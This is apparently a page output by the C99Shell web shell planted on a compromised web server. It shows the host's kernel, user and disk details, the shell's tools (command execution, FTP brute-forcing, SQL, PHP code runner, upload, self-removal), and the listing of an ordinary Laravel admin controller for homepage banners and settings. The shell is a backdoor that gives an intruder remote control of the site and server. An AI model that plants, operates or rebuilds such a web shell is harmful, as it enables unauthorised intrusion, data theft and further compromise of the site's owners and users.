!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HomePageController.php (13.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\Helpers\ImageHelper;
use 
App\Http\Controllers\Controller;
use 
App\Models\HomeCutomize;
use 
Illuminate\Http\Request;
use 
Carbon\Carbon;
class 
HomePageController extends Controller
{

     
/**
     * Constructor Method.
     *
     * Setting Authentication
     */
    
public function __construct()
    {
        
$this->middleware('auth:admin');
        
$this->middleware('adminlocalize');
    }


    public function 
index(){
        
$data HomeCutomize::first();
        return 
view('back.home-page.index',[
            
'hero_banner' => json_decode($data->hero_banner,true),
            
'first_banner' => json_decode($data->banner_first,true),
            
'secend_banner' => json_decode($data->banner_secend,true),
            
'third_banner' => json_decode($data->banner_third,true),
            
'popular_category' => json_decode($data->popular_category,true),
            
'three_column_category' => json_decode($data->two_column_category,true),
            
'feature_category' => json_decode($data->feature_category,true),
            
'home4_banner' => json_decode($data->home_page4,true),
            
'home_4_popular_category' => json_decode($data->home_4_popular_category,true),
            
'discover_now' => json_decode($data->discover_now,true),
            
'elements_style' => json_decode($data->elements_style,true),
            
'join_us' => json_decode($data->join_us,true),
            
'lookbook' => json_decode($data->look_book,true),
            
'conditions' => json_decode($data->conditions,true),
            
'policy' => json_decode($data->policy,true),
            
'news' => json_decode($data->news,true),
        ]);
    }

    public function 
conditions(Request $request){
        
$data HomeCutomize::first();
        
$input $request->only('title','details');
        
$input['updated_at'] = Carbon::now();
        
$data->conditions json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Terms & Conditions Update Successfully'));
    }
    public function 
policy(Request $request){
        
$data HomeCutomize::first();
        
$input $request->only('title','details');
        
$input['updated_at'] = Carbon::now();
        
$data->policy json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Privacy Policy Update Successfully'));
    }
    public function 
news(Request $request)
    {
        
$data HomeCutomize::first();
        
        
$existing_news json_decode($data->newstrue) ?: []; 
        
        
$input = [];
        
$titles $request->input('title', []);
        
$details $request->input('details', []);
        
$images $request->file('img', []);
        
        foreach (
$titles as $index => $title) {
            
$imagePath $existing_news[$index]['img'] ?? null
            
            if (!empty(
$images[$index])) {
                
$imagePath ImageHelper::handleUploadedImage(
                    
$images[$index], 
                    
'assets/images'
                    
$imagePath 
                
);
    
                if (!
$imagePath) {
                    return 
redirect()->back()->withErrors(__('Error uploading image.'));
                }
            }
    
            
$input[] = [
                
'title' => $title,
                
'details' => $details[$index] ?? '',
                
'img' => $imagePath,
            ];
        }
    
        
$data->news json_encode($inputtrue);
        if (
$data->update()) {
            return 
redirect()->back()->withSuccess(__('News updated successfully.'));
        } else {
            return 
redirect()->back()->withErrors(__('Failed to update News.'));
        }
    }
    
    public function 
elements_style(Request $request){
        
$data HomeCutomize::first();
        
$input $request->only('now_title','elements_now_Product_id');
        
$data->elements_style json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Elements Style Update Successfully'));
    }
    public function 
lookbook(Request $request)
    {
        
$data HomeCutomize::first();
        
        
$single_image 'lookbook_img';
        
$input $request->all();
        
        
$check json_decode($data->look_booktrue) ?: [];
        
        if (
$request->hasFile($single_image)) {
            
$input[$single_image] = ImageHelper::handleUploadedImage(
                
$request->file($single_image), 
                
'assets/images'
                
$check[$single_image] ?? null 
            
);
                if (!
$input[$single_image]) {
                return 
redirect()->back()->withErrors(__('Error uploading image.'));
            }
        } else {
            
$input[$single_image] = $check[$single_image] ?? null;
        }
    
        unset(
$input['_token']); // Remove CSRF token from input
    
        
$data->look_book json_encode($inputtrue);
    
        if (
$data->update()) {
            return 
redirect()->back()->withSuccess(__('Look Book updated successfully.'));
        } else {
            return 
redirect()->back()->withErrors(__('Failed to update Look Book.'));
        }
    }
    
    public function 
join_now(Request $request){
        
$data HomeCutomize::first();
        
$input $request->only('title','description','url');
        
$data->join_us json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Join Now Update Successfully'));
    }
    public function  
discover_now_update(Request $request){
        
$data HomeCutomize::first();
        
$input $request->only('discover_now_title','discover_now_sub_title','discover_now_category_id');
        
$data->discover_now json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Discover Now Update Successfully'));
    }
    public function 
hero_banner_update(Request $request)
    {
        
$request->validate([
            
'img1' => 'image',
            
'img2' => 'image',
            
'title1' => 'required|max:200',
            
'title2' => 'required|max:200',
            
'subtitle1' => 'required|max:200',
            
'url1' => 'required|max:200',
            
'url2' => 'required|max:200',

        ]);
        
$all_images_names = ['img1','img2'];
        
$input $request->all();
        foreach(
$all_images_names as $single_image){
            if(
$request->hasFile($single_image)){
                
$data HomeCutomize::first();
                
$check json_decode($data->hero_banner,true);
                
$input[$single_image] = ImageHelper::handleUploadedImage($request->$single_image,'assets/images',isset($check[$single_image]) ? $check[$single_image] : null);
            }
        }

        unset(
$input['_token']);
        
$data HomeCutomize::first();
        foreach(
json_decode($data->hero_banner,true) as $key => $value){
            if(isset(
$input[$key])){
                
$input[$key] =  $input[$key];
            }else{
                
$input[$key] = $value;
            }
        }


        
$data->hero_banner json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));

    }
    public function 
first_banner_update(Request $request)
    {
        
$request->validate([
            
'img1' => 'image',
            
'img2' => 'image',
            
'img3' => 'image',
            
'firsturl1' => 'required|max:200',
            
'firsturl2' => 'required|max:200',
            
'firsturl3' => 'required|max:200',
        ]);
        
$all_images_names = ['img1','img2','img3'];

        
$input $request->all();

        
$data HomeCutomize::first();

        foreach(
$all_images_names as $single_image){
            if(
$request->hasFile($single_image)){
                
$data HomeCutomize::first();
                
$check json_decode($data->banner_first,true);
                
$input[$single_image] = ImageHelper::handleUploadedImage($request->$single_image,'assets/images',$check[$single_image]);
            }else{
                
$check json_decode($data->banner_first,true);
                
$input[$single_image] = $check[$single_image];
            }
        }

        unset(
$input['_token']);


        
$data->banner_first json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));

    }

    public function 
secend_banner_update(Request $request)
    {
        
$request->validate([
            
'img1' => 'image',
            
'img2' => 'image',
            
'img3' => 'image',
            
'url1' => 'required|max:200',
            
'url2' => 'required|max:200',
            
'url3' => 'required|max:200',
        ]);
        
$all_images_names = ['img1','img2','img3'];
        
$input $request->all();

        
$data HomeCutomize::first();

        foreach(
$all_images_names as $single_image){
            if(
$request->hasFile($single_image)){
                
$data HomeCutomize::first();
                
$check json_decode($data->banner_secend,true);
                
$input[$single_image] = ImageHelper::handleUploadedImage($request->$single_image,'assets/images',$check[$single_image]);
            }else{
                
$check json_decode($data->banner_secend,true);
                
$input[$single_image] = $check[$single_image];
            }
        }

        unset(
$input['_token']);


        
$data->banner_secend json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));

    }

    public function 
third_banner_update(Request $request)
    {

        
$request->validate([
            
'img1' => 'image',
            
'img2' => 'image',
            
'url1' => 'required|max:200',
            
'url2' => 'required|max:200',
        ]);
        
$all_images_names = ['img1','img2'];

        
$input $request->all();
        
$data HomeCutomize::first();

        foreach(
$all_images_names as $single_image){
            if(
$request->hasFile($single_image)){
                
$data HomeCutomize::first();
                
$check json_decode($data->banner_third,true);
                
$input[$single_image] = ImageHelper::handleUploadedImage($request->$single_image,'assets/images',$check[$single_image]);
            }else{
                
$check json_decode($data->banner_third,true);
                
$input[$single_image] = $check[$single_image];
            }
        }
        unset(
$input['_token']);




        
$data->banner_third json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));

    }


    public function 
popular_category_update(Request $request)
    {
        
$request->validate([
            
'popular_title' => 'required|max:255',
        ]);
        
$input $request->all();
        unset(
$input['_token']);
        
$data HomeCutomize::first();
        
$data->popular_category json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Popular Category Update Successfully'));
    }

    public function 
tree_column_category_update(Request $request)
    {
        
$input $request->all();
        unset(
$input['_token']);
        
$data HomeCutomize::first();
        
$data->two_column_category json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Tree Column Category Update Successfully'));
    }


    public function 
feature_category_update(Request $request)
    {
        
$request->validate([
            
'feature_title' => 'required|max:255',
        ]);
        
$input $request->all();
        unset(
$input['_token']);
        
$data HomeCutomize::first();
        
$data->feature_category json_encode($input,true);
        
$data->update();
        return 
redirect()->back()->withSuccess(__('Popular Category Update Successfully'));
    }


    public function 
homepage4update(Request $request)
    {
        
$request->validate([
            
'img1' => 'image',
            
'img2' => 'image',
            
'img3' => 'image',
            
'img4' => 'image',
            
'img5' => 'image',
            
'url1' => 'required|max:200',
            
'url2' => 'required|max:200',
            
'url3' => 'required|max:200',
            
'url4' => 'required|max:200',
            
'url5' => 'required|max:200',
            
'label1' => 'required|max:200',
            
'label2' => 'required|max:200',
            
'label3' => 'required|max:200',
            
'label4' => 'required|max:200',
            
'label5' => 'required|max:200',
        ]);
        
$all_images_names = ['img1','img2','img3','img4','img5'];
        
$input $request->all();
        foreach(
$all_images_names as $single_image){
            if(
$request->hasFile($single_image)){
                
$data HomeCutomize::first();
                
$check json_decode($data->home_page4,true);
                
$input[$single_image] = ImageHelper::handleUploadedImage($request->$single_image,'assets/images',$check[$single_image]);
            }
        }

        unset(
$input['_token']);

        
$data HomeCutomize::first();
        if(!
$data->home_page4){
        
$data->home_page4 json_encode($input,true);
        
$data->update();
        }else{
            foreach(
json_decode($data->home_page4,true) as $key => $value){
                if(isset(
$input[$key])){
                    
$input[$key] =  $input[$key];
                }else{
                    
$input[$key] = $value;
                }
            }
            
$data->home_page4 json_encode($input,true);
            
$data->update();
        }

        return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));


    }


    public function 
homepage4categoryupdate(Request $request)
    {
       
$category json_encode($request->home_4_popular_category,true);
       
$data HomeCutomize::first();
       
$data->home_4_popular_category $category;
       
$data->update();
       return 
redirect()->back()->withSuccess(__('Banner Update Successfully'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--